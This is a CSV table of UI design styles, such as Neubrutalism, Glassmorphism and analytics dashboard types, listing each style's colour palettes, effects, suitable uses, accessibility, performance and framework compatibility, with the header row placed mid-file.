33,Comparative Analysis Dashboard,BI/Analytics,"Side-by-side comparisons, period-over-period metrics, A/B test results, regional comparisons, performance benchmarks","Comparison colors: primary (blue), comparison (orange/purple), delta indicator (green/red)","Winning metric color (green), losing metric color (red), neutral comparison (grey), benchmark colors","Comparison bar animations (grow to value), delta indicator animations (direction arrows), highlight on compare","Period-over-period reporting, A/B test dashboards, market comparison, competitive analysis, regional performance","Single metric dashboards, future projections (use forecasting), real-time only (no historical)",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,◐ Medium,✗ Not applicable
|
||||
34,Predictive Analytics,BI/Analytics,"Forecast lines, confidence intervals, trend projections, scenario modeling, AI-driven insights, anomaly detection visualization","Forecast line color (distinct from actual), confidence interval shading, anomaly highlight (red alert), trend colors","High confidence (dark color), low confidence (light color), anomaly colors (red/orange), normal trend (green/blue)","Forecast line animation on draw, confidence band fade-in, anomaly pulse alert, smoothing function animations","Forecasting dashboards, anomaly detection systems, trend prediction dashboards, AI-powered analytics, budget planning","Historical-only dashboards, simple reporting, real-time operational dashboards",✓ Full,✓ Full,⚠ Good (computation),✓ WCAG AA,◐ Medium,✗ Not applicable
|
||||
35,User Behavior Analytics,BI/Analytics,"Funnel visualization, user flow diagrams, conversion tracking, engagement metrics, user journey mapping, cohort analysis","Funnel stage colors: high engagement (green), drop-off (red), conversion (blue), user flow arrows (grey)","Stage completion colors (success), abandonment colors (warning), engagement levels (gradient), cohort colors","Funnel animation (fill-down), flow diagram animations (connection draw), conversion pulse, engagement bar fill","Conversion funnel analysis, user journey tracking, engagement analytics, cohort analysis, retention tracking","Real-time operational metrics, technical system monitoring, financial transactions",✓ Full,✓ Full,⚡ Good,✓ WCAG AA,✓ Good,✗ Not applicable
|
||||
36,Financial Dashboard,BI/Analytics,"Revenue metrics, profit/loss visualization, budget tracking, financial ratios, portfolio performance, cash flow, audit trail","Financial colors: profit (green #22C55E), loss (red #EF4444), neutral (grey), trust (dark blue #003366)","Revenue highlight (green), expenses (red), budget variance (orange/red), balance (grey), accuracy (blue)","Number animations (count-up), trend direction indicators, percentage change animations, profit/loss color transitions","Financial reporting, accounting dashboards, portfolio tracking, budget monitoring, banking analytics","Simple business dashboards, entertainment/social metrics, non-financial data",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✗ Low,✗ Not applicable
|
||||
37,Sales Intelligence Dashboard,BI/Analytics,"Deal pipeline, sales metrics, territory performance, sales rep leaderboard, win-loss analysis, quota tracking, forecast accuracy","Sales colors: won (green), lost (red), in-progress (blue), blocked (orange), quota met (gold), quota missed (grey)","Pipeline stage colors, rep performance colors, quota achievement colors, forecast accuracy colors","Deal movement animations, metric updates, leaderboard ranking changes, gauge needle movements, status change highlights","CRM dashboards, sales management, opportunity tracking, performance management, quota planning","Marketing analytics, customer support metrics, HR dashboards",✓ Full,✓ Full,⚡ Good,✓ WCAG AA,◐ Medium,✗ Not applicable,"Recharts 9/10, Chart.js 9/10",2020s Modern,Medium
|
||||
38,Neubrutalism,General,"Bold borders, black outlines, primary colors, thick shadows, no gradients, flat colors, 45° shadows, playful, Gen Z","#FFEB3B (Yellow), #FF5252 (Red), #2196F3 (Blue), #000000 (Black borders)","Limited accent colors, high contrast combinations, no gradients allowed","box-shadow: 4px 4px 0 #000, border: 3px solid #000, no gradients, sharp corners (0px), bold typography","Gen Z brands, startups, creative agencies, Figma-style apps, Notion-style interfaces, tech blogs","Luxury brands, finance, healthcare, conservative industries (too playful)",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ High,✓ High,"Tailwind 10/10, Bootstrap 8/10",2020s Modern,Low
|
||||
39,Bento Box Grid,General,"Modular cards, asymmetric grid, varied sizes, Apple-style, dashboard tiles, negative space, clean hierarchy, cards","Neutral base + brand accent, #FFFFFF, #F5F5F5, brand primary","Subtle gradients, shadow variations, accent highlights for interactive cards","grid-template with varied spans, rounded-xl (16px), subtle shadows, hover scale (1.02), smooth transitions","Dashboards, product pages, portfolios, Apple-style marketing, feature showcases, SaaS","Dense data tables, text-heavy content, real-time monitoring",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,✓ High,✓ High,"Tailwind 10/10, CSS Grid 10/10",2020s Apple,Low
|
||||
40,Y2K Aesthetic,General,"Neon pink, chrome, metallic, bubblegum, iridescent, glossy, retro-futurism, 2000s, futuristic nostalgia","#FF69B4 (Hot Pink), #00FFFF (Cyan), #C0C0C0 (Silver), #9400D3 (Purple)","Metallic gradients, glossy overlays, iridescent effects, chrome textures","linear-gradient metallic, glossy buttons, 3D chrome effects, glow animations, bubble shapes","Fashion brands, music platforms, Gen Z brands, nostalgia marketing, entertainment, youth-focused","B2B enterprise, healthcare, finance, conservative industries, elderly users",✓ Full,◐ Partial,⚠ Good,⚠ Check contrast,✓ Good,✓ High,"Tailwind 8/10, CSS-in-JS 9/10",Y2K 2000s,Medium
|
||||
41,Cyberpunk UI,General,"Neon, dark mode, terminal, HUD, sci-fi, glitch, dystopian, futuristic, matrix, tech noir","#00FF00 (Matrix Green), #FF00FF (Magenta), #00FFFF (Cyan), #0D0D0D (Dark)","Neon gradients, scanline overlays, glitch colors, terminal green accents","Neon glow (text-shadow), glitch animations (skew/offset), scanlines (::before overlay), terminal fonts","Gaming platforms, tech products, crypto apps, sci-fi applications, developer tools, entertainment","Corporate enterprise, healthcare, family apps, conservative brands, elderly users",✗ No,✓ Only,⚠ Moderate,⚠ Limited (dark+neon),◐ Medium,◐ Medium,"Tailwind 8/10, Custom CSS 10/10",2020s Cyberpunk,Medium
|
||||
42,Organic Biophilic,General,"Nature, organic shapes, green, sustainable, rounded, flowing, wellness, earthy, natural textures","#228B22 (Forest Green), #8B4513 (Earth Brown), #87CEEB (Sky Blue), #F5F5DC (Beige)","Natural gradients, earth tones, sky blues, organic textures, wood/stone colors","Rounded corners (16-24px), organic curves (border-radius variations), natural shadows, flowing SVG shapes","Wellness apps, sustainability brands, eco products, health apps, meditation, organic food brands","Tech-focused products, gaming, industrial, urban brands",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,✓ High,✓ High,"Tailwind 10/10, CSS 10/10",2020s Sustainable,Low
|
||||
43,AI-Native UI,General,"Chatbot, conversational, voice, assistant, agentic, ambient, minimal chrome, streaming text, AI interactions","Neutral + single accent, #6366F1 (AI Purple), #10B981 (Success), #F5F5F5 (Background)","Status indicators, streaming highlights, context card colors, subtle accent variations","Typing indicators (3-dot pulse), streaming text animations, pulse animations, context cards, smooth reveals","AI products, chatbots, voice assistants, copilots, AI-powered tools, conversational interfaces","Traditional forms, data-heavy dashboards, print-first content",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,✓ High,✓ High,"Tailwind 10/10, React 10/10",2020s AI-Era,Low
|
||||
44,Memphis Design,General,"80s, geometric, playful, postmodern, shapes, patterns, squiggles, triangles, neon, abstract, bold","#FF71CE (Hot Pink), #FFCE5C (Yellow), #86CCCA (Teal), #6A7BB4 (Blue Purple)","Complementary geometric colors, pattern fills, contrasting accent shapes","transform: rotate(), clip-path: polygon(), mix-blend-mode, repeating patterns, bold shapes","Creative agencies, music sites, youth brands, event promotion, artistic portfolios, entertainment","Corporate finance, healthcare, legal, elderly users, conservative brands",✓ Full,✓ Full,⚡ Excellent,⚠ Check contrast,✓ Good,◐ Medium,"Tailwind 9/10, CSS 10/10",1980s Postmodern,Medium
|
||||
45,Vaporwave,General,"Synthwave, retro-futuristic, 80s-90s, neon, glitch, nostalgic, sunset gradient, dreamy, aesthetic","#FF71CE (Pink), #01CDFE (Cyan), #05FFA1 (Mint), #B967FF (Purple)","Sunset gradients, glitch overlays, VHS effects, neon accents, pastel variations","text-shadow glow, linear-gradient, filter: hue-rotate(), glitch animations, retro scan lines","Music platforms, gaming, creative portfolios, tech startups, entertainment, artistic projects","Business apps, e-commerce, education, healthcare, enterprise software",✓ Full,✓ Dark focused,⚠ Moderate,⚠ Poor (motion),◐ Medium,◐ Medium,"Tailwind 8/10, CSS-in-JS 9/10",1980s-90s Retro,Medium
|
||||
46,Dimensional Layering,General,"Depth, overlapping, z-index, layers, 3D, shadows, elevation, floating, cards, spatial hierarchy","Neutral base (#FFFFFF, #F5F5F5, #E0E0E0) + brand accent for elevated elements","Shadow variations (sm/md/lg/xl), elevation colors, highlight colors for top layers","z-index stacking, box-shadow elevation (4 levels), transform: translateZ(), backdrop-filter, parallax","Dashboards, card layouts, modals, navigation, product showcases, SaaS interfaces","Print-style layouts, simple blogs, low-end devices, flat design requirements",✓ Full,✓ Full,⚠ Good,⚠ Moderate (SR issues),✓ Good,✓ High,"Tailwind 10/10, MUI 10/10, Chakra 10/10",2020s Modern,Medium
|
||||
47,Exaggerated Minimalism,General,"Bold minimalism, oversized typography, high contrast, negative space, loud minimal, statement design","#000000 (Black), #FFFFFF (White), single vibrant accent only","Minimal - single accent color, no secondary colors, extreme restraint","font-size: clamp(3rem 10vw 12rem), font-weight: 900, letter-spacing: -0.05em, massive whitespace","Fashion, architecture, portfolios, agency landing pages, luxury brands, editorial","E-commerce catalogs, dashboards, forms, data-heavy, elderly users, complex apps",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,✓ High,✓ High,"Tailwind 10/10, Typography.js 10/10",2020s Modern,Low
|
||||
48,Kinetic Typography,General,"Motion text, animated type, moving letters, dynamic, typing effect, morphing, scroll-triggered text","Flexible - high contrast recommended, bold colors for emphasis, animation-friendly palette","Accent colors for emphasis, transition colors, gradient text fills","@keyframes text animation, typing effect, background-clip: text, GSAP ScrollTrigger, split text","Hero sections, marketing sites, video platforms, storytelling, creative portfolios, landing pages","Long-form content, accessibility-critical, data interfaces, forms, elderly users",✓ Full,✓ Full,⚠ Moderate,❌ Poor (motion),✓ Good,✓ Very High,"GSAP 10/10, Framer Motion 10/10",2020s Modern,High
|
||||
49,Parallax Storytelling,General,"Scroll-driven, narrative, layered scrolling, immersive, progressive disclosure, cinematic, scroll-triggered","Story-dependent, often gradients and natural colors, section-specific palettes","Section transition colors, depth layer colors, narrative mood colors","transform: translateY(scroll), position: fixed/sticky, perspective: 1px, scroll-triggered animations","Brand storytelling, product launches, case studies, portfolios, annual reports, marketing campaigns","E-commerce, dashboards, mobile-first, SEO-critical, accessibility-required",✓ Full,✓ Full,❌ Poor,❌ Poor (motion),✗ Low,✓ High,"GSAP ScrollTrigger 10/10, Locomotive Scroll 10/10",2020s Modern,High
|
||||
50,Swiss Modernism 2.0,General,"Grid system, Helvetica, modular, asymmetric, international style, rational, clean, mathematical spacing","#000000, #FFFFFF, #F5F5F5, single vibrant accent only","Minimal secondary, accent for emphasis only, no gradients","display: grid, grid-template-columns: repeat(12 1fr), gap: 1rem, mathematical ratios, clear hierarchy","Corporate sites, architecture, editorial, SaaS, museums, professional services, documentation","Playful brands, children's sites, entertainment, gaming, emotional storytelling",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ High,✓ High,"Tailwind 10/10, Bootstrap 9/10, Foundation 10/10",1950s Swiss + 2020s,Low
|
||||
51,HUD / Sci-Fi FUI,General,"Futuristic, technical, wireframe, neon, data, transparency, iron man, sci-fi, interface","Neon Cyan #00FFFF, Holographic Blue #0080FF, Alert Red #FF0000","Transparent Black, Grid Lines #333333","Glow effects, scanning animations, ticker text, blinking markers, fine line drawing","Sci-fi games, space tech, cybersecurity, movie props, immersive dashboards","Standard corporate, reading heavy content, accessible public services",✓ Low,✓ Full,⚠ Moderate (renders),⚠ Poor (thin lines),◐ Medium,✗ Low,"React 9/10, Canvas 10/10",2010s Sci-Fi,High
|
||||
52,Pixel Art,General,"Retro, 8-bit, 16-bit, gaming, blocky, nostalgic, pixelated, arcade","Primary colors (NES Palette), brights, limited palette","Black outlines, shading via dithering or block colors","Frame-by-frame sprite animation, blinking cursor, instant transitions, marquee text","Indie games, retro tools, creative portfolios, nostalgia marketing, Web3/NFT","Professional corporate, modern SaaS, high-res photography sites",✓ Full,✓ Full,⚡ Excellent,✓ Good (if contrast ok),✓ High,◐ Medium,"CSS (box-shadow) 8/10, Canvas 10/10",1980s Arcade,Medium
|
||||
53,Bento Grids,General,"Apple-style, modular, cards, organized, clean, hierarchy, grid, rounded, soft","Off-white #F5F5F7, Clean White #FFFFFF, Text #1D1D1F","Subtle accents, soft shadows, blurred backdrops","Hover scale (1.02), soft shadow expansion, smooth layout shifts, content reveal","Product features, dashboards, personal sites, marketing summaries, galleries","Long-form reading, data tables, complex forms",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,✓ High,✓ High,"CSS Grid 10/10, Tailwind 10/10",2020s Apple/Linear,Low
|
||||
54,Neubrutalism,General,"Bold, ugly-cute, raw, high contrast, flat, hard shadows, distinct, playful, loud","Pop Yellow #FFDE59, Bright Red #FF5757, Black #000000","Lavender #CBA6F7, Mint #76E0C2","Hard hover shifts (4px), marquee scrolling, jitter animations, bold borders","Design tools, creative agencies, Gen Z brands, personal blogs, gumroad-style","Banking, legal, healthcare, serious enterprise, elderly users",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ High,✓ High,"Tailwind 10/10, Plain CSS 10/10",2020s Modern Retro,Low
|
||||
55,Spatial UI (VisionOS),General,"Glass, depth, immersion, spatial, translucent, gaze, gesture, apple, vision-pro","Frosted Glass #FFFFFF (15-30% opacity), System White","Vibrant system colors for active states, deep shadows for depth","Parallax depth, dynamic lighting response, gaze-hover effects, smooth scale on focus","Spatial computing apps, VR/AR interfaces, immersive media, futuristic dashboards","Text-heavy documents, high-contrast requirements, non-3D capable devices",✓ Full,✓ Full,⚠ Moderate (blur cost),⚠ Contrast risks,✓ High (if adapted),✓ High,"SwiftUI, React (Three.js/Fiber)",2024 Spatial Era,High
|
||||
56,E-Ink / Paper,General,"Paper-like, matte, high contrast, texture, reading, calm, slow tech, monochrome","Off-White #FDFBF7, Paper White #F5F5F5, Ink Black #1A1A1A","Pencil Grey #4A4A4A, Highlighter Yellow #FFFF00 (accent)","No motion blur, distinct page turns, grain/noise texture, sharp transitions (no fade)","Reading apps, digital newspapers, minimal journals, distraction-free writing, slow-living brands","Gaming, video platforms, high-energy marketing, dark mode dependent apps",✓ Full,✗ Low (inverted only),⚡ Excellent,✓ WCAG AAA,✓ High,✓ Medium,"Tailwind 10/10, CSS 10/10",2020s Digital Well-being,Low
|
||||
57,Gen Z Chaos / Maximalism,General,"Chaos, clutter, stickers, raw, collage, mixed media, loud, internet culture, ironic","Clashing Brights: #FF00FF, #00FF00, #FFFF00, #0000FF","Gradients, rainbow, glitch, noise, heavily saturated mix","Marquee scrolls, jitter, sticker layering, GIF overload, random placement, drag-and-drop","Gen Z lifestyle brands, music artists, creative portfolios, viral marketing, fashion","Corporate, government, healthcare, banking, serious tools",✓ Full,✓ Full,⚠ Poor (heavy assets),❌ Poor,◐ Medium,✓ High (Viral),CSS-in-JS 8/10,2023+ Internet Core,High
|
||||
STT,Style Category,Type,Keywords,Primary Colors,Secondary Colors,Effects & Animation,Best For,Do Not Use For,Light Mode ✓,Dark Mode ✓,Performance,Accessibility,Mobile-Friendly,Conversion-Focused,Framework Compatibility,Era/Origin,Complexity
|
||||
1,Minimalism & Swiss Style,General,"Clean, simple, spacious, functional, white space, high contrast, geometric, sans-serif, grid-based, essential","Monochromatic, Black #000000, White #FFFFFF","Neutral (Beige #F5F1E8, Grey #808080, Taupe #B38B6D), Primary accent","Subtle hover (200-250ms), smooth transitions, sharp shadows if any, clear type hierarchy, fast loading","Enterprise apps, dashboards, documentation sites, SaaS platforms, professional tools","Creative portfolios, entertainment, playful brands, artistic experiments",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ High,◐ Medium,"Tailwind 10/10, Bootstrap 9/10, MUI 9/10",1950s Swiss,Low
|
||||
2,Neumorphism,General,"Soft UI, embossed, debossed, convex, concave, light source, subtle depth, rounded (12-16px), monochromatic","Light pastels: Soft Blue #C8E0F4, Soft Pink #F5E0E8, Soft Grey #E8E8E8","Tints/shades (±30%), gradient subtlety, color harmony","Soft box-shadow (multiple: -5px -5px 15px, 5px 5px 15px), smooth press (150ms), inner subtle shadow","Health/wellness apps, meditation platforms, fitness trackers, minimal interaction UIs","Complex apps, critical accessibility, data-heavy dashboards, high-contrast required",✓ Full,◐ Partial,⚡ Good,⚠ Low contrast,✓ Good,◐ Medium,"Tailwind 8/10, CSS-in-JS 9/10",2020s Modern,Medium
|
||||
3,Glassmorphism,General,"Frosted glass, transparent, blurred background, layered, vibrant background, light source, depth, multi-layer","Translucent white: rgba(255,255,255,0.1-0.3)","Vibrant: Electric Blue #0080FF, Neon Purple #8B00FF, Vivid Pink #FF1493, Teal #20B2AA","Backdrop blur (10-20px), subtle border (1px solid rgba white 0.2), light reflection, Z-depth","Modern SaaS, financial dashboards, high-end corporate, lifestyle apps, modal overlays, navigation","Low-contrast backgrounds, critical accessibility, performance-limited, dark text on dark",✓ Full,✓ Full,⚠ Good,⚠ Ensure 4.5:1,✓ Good,✓ High,"Tailwind 9/10, MUI 8/10, Chakra 8/10",2020s Modern,Medium
|
||||
4,Brutalism,General,"Raw, unpolished, stark, high contrast, plain text, default fonts, visible borders, asymmetric, anti-design","Primary: Red #FF0000, Blue #0000FF, Yellow #FFFF00, Black #000000, White #FFFFFF","Limited: Neon Green #00FF00, Hot Pink #FF00FF, minimal secondary","No smooth transitions (instant), sharp corners (0px), bold typography (700+), visible grid, large blocks","Design portfolios, artistic projects, counter-culture brands, editorial/media sites, tech blogs","Corporate environments, conservative industries, critical accessibility, customer-facing professional",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,◐ Medium,✗ Low,"Tailwind 10/10, Bootstrap 7/10",1950s Brutalist,Low
|
||||
5,3D & Hyperrealism,General,"Depth, realistic textures, 3D models, spatial navigation, tactile, skeuomorphic elements, rich detail, immersive","Deep Navy #001F3F, Forest Green #228B22, Burgundy #800020, Gold #FFD700, Silver #C0C0C0","Complex gradients (5-10 stops), realistic lighting, shadow variations (20-40% darker)","WebGL/Three.js 3D, realistic shadows (layers), physics lighting, parallax (3-5 layers), smooth 3D (300-400ms)","Gaming, product showcase, immersive experiences, high-end e-commerce, architectural viz, VR/AR","Low-end mobile, performance-limited, critical accessibility, data tables/forms",◐ Partial,◐ Partial,❌ Poor,⚠ Not accessible,✗ Low,◐ Medium,"Three.js 10/10, R3F 10/10, Babylon.js 10/10",2020s Modern,High
|
||||
6,Vibrant & Block-based,General,"Bold, energetic, playful, block layout, geometric shapes, high color contrast, duotone, modern, energetic","Neon Green #39FF14, Electric Purple #BF00FF, Vivid Pink #FF1493, Bright Cyan #00FFFF, Sunburst #FFAA00","Complementary: Orange #FF7F00, Shocking Pink #FF006E, Lime #CCFF00, triadic schemes","Large sections (48px+ gaps), animated patterns, bold hover (color shift), scroll-snap, large type (32px+), 200-300ms","Startups, creative agencies, gaming, social media, youth-focused, entertainment, consumer","Financial institutions, healthcare, formal business, government, conservative, elderly",✓ Full,✓ Full,⚡ Good,◐ Ensure WCAG,✓ High,✓ High,"Tailwind 10/10, Chakra 9/10, Styled 9/10",2020s Modern,Medium
|
||||
7,Dark Mode (OLED),General,"Dark theme, low light, high contrast, deep black, midnight blue, eye-friendly, OLED, night mode, power efficient","Deep Black #000000, Dark Grey #121212, Midnight Blue #0A0E27","Vibrant accents: Neon Green #39FF14, Electric Blue #0080FF, Gold #FFD700, Plasma Purple #BF00FF","Minimal glow (text-shadow: 0 0 10px), dark-to-light transitions, low white emission, high readability, visible focus","Night-mode apps, coding platforms, entertainment, eye-strain prevention, OLED devices, low-light","Print-first content, high-brightness outdoor, color-accuracy-critical",✗ No,✓ Only,⚡ Excellent,✓ WCAG AAA,✓ High,◐ Low,"Tailwind 10/10, MUI 10/10, Chakra 10/10",2020s Modern,Low
|
||||
8,Accessible & Ethical,General,"High contrast, large text (16px+), keyboard navigation, screen reader friendly, WCAG compliant, focus state, semantic","WCAG AA/AAA (4.5:1 min), simple primary, clear secondary, high luminosity (7:1+)","Symbol-based colors (not color-only), supporting patterns, inclusive combinations","Clear focus rings (3-4px), ARIA labels, skip links, responsive design, reduced motion, 44x44px touch targets","Government, healthcare, education, inclusive products, large audience, legal compliance, public",None - accessibility universal,✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ High,✓ High,"All frameworks 10/10",Universal,Low
|
||||
9,Claymorphism,General,"Soft 3D, chunky, playful, toy-like, bubbly, thick borders (3-4px), double shadows, rounded (16-24px)","Pastel: Soft Peach #FDBCB4, Baby Blue #ADD8E6, Mint #98FF98, Lilac #E6E6FA, light BG","Soft gradients (pastel-to-pastel), light/dark variations (20-30%), gradient subtle","Inner+outer shadows (subtle, no hard lines), soft press (200ms ease-out), fluffy elements, smooth transitions","Educational apps, children's apps, SaaS platforms, creative tools, fun-focused, onboarding, casual games","Formal corporate, professional services, data-critical, serious/medical, legal apps, finance",✓ Full,◐ Partial,⚡ Good,⚠ Ensure 4.5:1,✓ High,✓ High,"Tailwind 9/10, CSS-in-JS 9/10",2020s Modern,Medium
|
||||
10,Aurora UI,General,"Vibrant gradients, smooth blend, Northern Lights effect, mesh gradient, luminous, atmospheric, abstract","Complementary: Blue-Orange, Purple-Yellow, Electric Blue #0080FF, Magenta #FF1493, Cyan #00FFFF","Smooth transitions (Blue→Purple→Pink→Teal), iridescent effects, blend modes (screen, multiply)","Large flowing CSS/SVG gradients, subtle 8-12s animations, depth via color layering, smooth morph","Modern SaaS, creative agencies, branding, music platforms, lifestyle, premium products, hero sections","Data-heavy dashboards, critical accessibility, content-heavy where distraction issues",✓ Full,✓ Full,⚠ Good,⚠ Text contrast,✓ Good,✓ High,"Tailwind 9/10, CSS-in-JS 10/10",2020s Modern,Medium
|
||||
11,Retro-Futurism,General,"Vintage sci-fi, 80s aesthetic, neon glow, geometric patterns, CRT scanlines, pixel art, cyberpunk, synthwave","Neon Blue #0080FF, Hot Pink #FF006E, Cyan #00FFFF, Deep Black #1A1A2E, Purple #5D34D0","Metallic Silver #C0C0C0, Gold #FFD700, duotone, 80s Pink #FF10F0, neon accents","CRT scanlines (::before overlay), neon glow (text-shadow+box-shadow), glitch effects (skew/offset keyframes)","Gaming, entertainment, music platforms, tech brands, artistic projects, nostalgic, cyberpunk","Conservative industries, critical accessibility, professional/corporate, elderly, legal/finance",✓ Full,✓ Dark focused,⚠ Moderate,⚠ High contrast/strain,◐ Medium,◐ Medium,"Tailwind 8/10, CSS-in-JS 9/10",1980s Retro,Medium
|
||||
12,Flat Design,General,"2D, minimalist, bold colors, no shadows, clean lines, simple shapes, typography-focused, modern, icon-heavy","Solid bright: Red, Orange, Blue, Green, limited palette (4-6 max)","Complementary colors, muted secondaries, high saturation, clean accents","No gradients/shadows, simple hover (color/opacity shift), fast loading, clean transitions (150-200ms ease), minimal icons","Web apps, mobile apps, cross-platform, startup MVPs, user-friendly, SaaS, dashboards, corporate","Complex 3D, premium/luxury, artistic portfolios, immersive experiences, high-detail",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ High,✓ High,"Tailwind 10/10, Bootstrap 10/10, MUI 9/10",2010s Modern,Low
|
||||
13,Skeuomorphism,General,"Realistic, texture, depth, 3D appearance, real-world metaphors, shadows, gradients, tactile, detailed, material","Rich realistic: wood, leather, metal colors, detailed gradients (8-12 stops), metallic effects","Realistic lighting gradients, shadow variations (30-50% darker), texture overlays, material colors","Realistic shadows (layers), depth (perspective), texture details (noise, grain), realistic animations (300-500ms)","Legacy apps, gaming, immersive storytelling, premium products, luxury, realistic simulations, education","Modern enterprise, critical accessibility, low-performance, web (use Flat/Modern)",◐ Partial,◐ Partial,❌ Poor,⚠ Textures reduce readability,✗ Low,◐ Medium,"CSS-in-JS 7/10, Custom 8/10",2007-2012 iOS,High
|
||||
14,Liquid Glass,General,"Flowing glass, morphing, smooth transitions, fluid effects, translucent, animated blur, iridescent, chromatic aberration","Vibrant iridescent (rainbow spectrum), translucent base with opacity shifts, gradient fluidity","Chromatic aberration (Red-Cyan), iridescent oil-spill, fluid gradient blends, holographic effects","Morphing elements (SVG/CSS), fluid animations (400-600ms curves), dynamic blur (backdrop-filter), color transitions","Premium SaaS, high-end e-commerce, creative platforms, branding experiences, luxury portfolios","Performance-limited, critical accessibility, complex data, budget projects",✓ Full,✓ Full,⚠ Moderate-Poor,⚠ Text contrast,◐ Medium,✓ High,"Framer Motion 10/10, GSAP 10/10",2020s Modern,High
|
||||
15,Motion-Driven,General,"Animation-heavy, microinteractions, smooth transitions, scroll effects, parallax, entrance anim, page transitions","Bold colors emphasize movement, high contrast animated, dynamic gradients, accent action colors","Transitional states, success (Green #22C55E), error (Red #EF4444), neutral feedback","Scroll anim (Intersection Observer), hover (300-400ms), entrance, parallax (3-5 layers), page transitions","Portfolio sites, storytelling platforms, interactive experiences, entertainment apps, creative, SaaS","Data dashboards, critical accessibility, low-power devices, content-heavy, motion-sensitive",✓ Full,✓ Full,⚠ Good,⚠ Prefers-reduced-motion,✓ Good,✓ High,"GSAP 10/10, Framer Motion 10/10",2020s Modern,High
|
||||
16,Micro-interactions,General,"Small animations, gesture-based, tactile feedback, subtle animations, contextual interactions, responsive","Subtle color shifts (10-20%), feedback: Green #22C55E, Red #EF4444, Amber #F59E0B","Accent feedback, neutral supporting, clear action indicators","Small hover (50-100ms), loading spinners, success/error state anim, gesture-triggered (swipe/pinch), haptic","Mobile apps, touchscreen UIs, productivity tools, user-friendly, consumer apps, interactive components","Desktop-only, critical performance, accessibility-first (alternatives needed)",✓ Full,✓ Full,⚡ Excellent,✓ Good,✓ High,✓ High,"Framer Motion 10/10, React Spring 9/10",2020s Modern,Medium
|
||||
17,Inclusive Design,General,"Accessible, color-blind friendly, high contrast, haptic feedback, voice interaction, screen reader, WCAG AAA, universal","WCAG AAA (7:1+ contrast), avoid red-green only, symbol-based indicators, high contrast primary","Supporting patterns (stripes, dots, hatch), symbols, combinations, clear non-color indicators","Haptic feedback (vibration), voice guidance, focus indicators (4px+ ring), motion options, alt content, semantic","Public services, education, healthcare, finance, government, accessible consumer, inclusive",None - accessibility universal,✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ High,✓ High,"All frameworks 10/10",Universal,Low
|
||||
18,Zero Interface,General,"Minimal visible UI, voice-first, gesture-based, AI-driven, invisible controls, predictive, context-aware, ambient","Neutral backgrounds: Soft white #FAFAFA, light grey #F0F0F0, warm off-white #F5F1E8","Subtle feedback: light green, light red, minimal UI elements, soft accents","Voice recognition UI, gesture detection, AI predictions (smooth reveal), progressive disclosure, smart suggestions","Voice assistants, AI platforms, future-forward UX, smart home, contextual computing, ambient experiences","Complex workflows, data-entry heavy, traditional systems, legacy support, explicit control",✓ Full,✓ Full,⚡ Excellent,✓ Excellent,✓ High,✓ High,"Tailwind 10/10, Custom 10/10",2020s AI-Era,Low
|
||||
19,Soft UI Evolution,General,"Evolved soft UI, better contrast, modern aesthetics, subtle depth, accessibility-focused, improved shadows, hybrid","Improved contrast pastels: Soft Blue #87CEEB, Soft Pink #FFB6C1, Soft Green #90EE90, better hierarchy","Better combinations, accessible secondary, supporting with improved contrast, modern accents","Improved shadows (softer than flat, clearer than neumorphism), modern (200-300ms), focus visible, WCAG AA/AAA","Modern enterprise apps, SaaS platforms, health/wellness, modern business tools, professional, hybrid","Extreme minimalism, critical performance, systems without modern OS",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA+,✓ High,✓ High,"Tailwind 9/10, MUI 9/10, Chakra 9/10",2020s Modern,Medium
|
||||
20,Hero-Centric Design,Landing Page,"Large hero section, compelling headline, high-contrast CTA, product showcase, value proposition, hero image/video, dramatic visual","Brand primary color, white/light backgrounds for contrast, accent color for CTA","Supporting colors for secondary CTAs, accent highlights, trust elements (testimonials, logos)","Smooth scroll reveal, fade-in animations on hero, subtle background parallax, CTA glow/pulse effect","SaaS landing pages, product launches, service landing pages, B2B platforms, tech companies","Complex navigation, multi-page experiences, data-heavy applications",✓ Full,✓ Full,⚡ Good,✓ WCAG AA,✓ Full,✓ Very High,"Tailwind 10/10, Bootstrap 9/10",2020s Modern,Medium
|
||||
21,Conversion-Optimized,Landing Page,"Form-focused, minimalist design, single CTA focus, high contrast, urgency elements, trust signals, social proof, clear value","Primary brand color, high-contrast white/light backgrounds, warning/urgency colors for time-limited offers","Secondary CTA color (muted), trust element colors (testimonial highlights), accent for key benefits","Hover states on CTA (color shift, slight scale), form field focus animations, loading spinner, success feedback","E-commerce product pages, free trial signups, lead generation, SaaS pricing pages, limited-time offers","Complex feature explanations, multi-product showcases, technical documentation",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,✓ Full (mobile-optimized),✓ Very High
|
||||
22,Feature-Rich Showcase,Landing Page,"Multiple feature sections, grid layout, benefit cards, visual feature demonstrations, interactive elements, problem-solution pairs","Primary brand, bright secondary colors for feature cards, contrasting accent for CTAs","Supporting colors for: benefits (green), problems (red/orange), features (blue/purple), social proof (neutral)","Card hover effects (lift/scale), icon animations on scroll, feature toggle animations, smooth section transitions","Enterprise SaaS, software tools landing pages, platform services, complex product explanations, B2B products","Simple product pages, early-stage startups with few features, entertainment landing pages",✓ Full,✓ Full,⚡ Good,✓ WCAG AA,✓ Good,✓ High
|
||||
23,Minimal & Direct,Landing Page,"Minimal text, white space heavy, single column layout, direct messaging, clean typography, visual-centric, fast-loading","Monochromatic primary, white background, single accent color for CTA, black/dark grey text","Minimal secondary colors, reserved for critical CTAs only, neutral supporting elements","Very subtle hover effects, minimal animations, fast page load (no heavy animations), smooth scroll","Simple service landing pages, indie products, consulting services, micro SaaS, freelancer portfolios","Feature-heavy products, complex explanations, multi-product showcases",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ Full,✓ High
|
||||
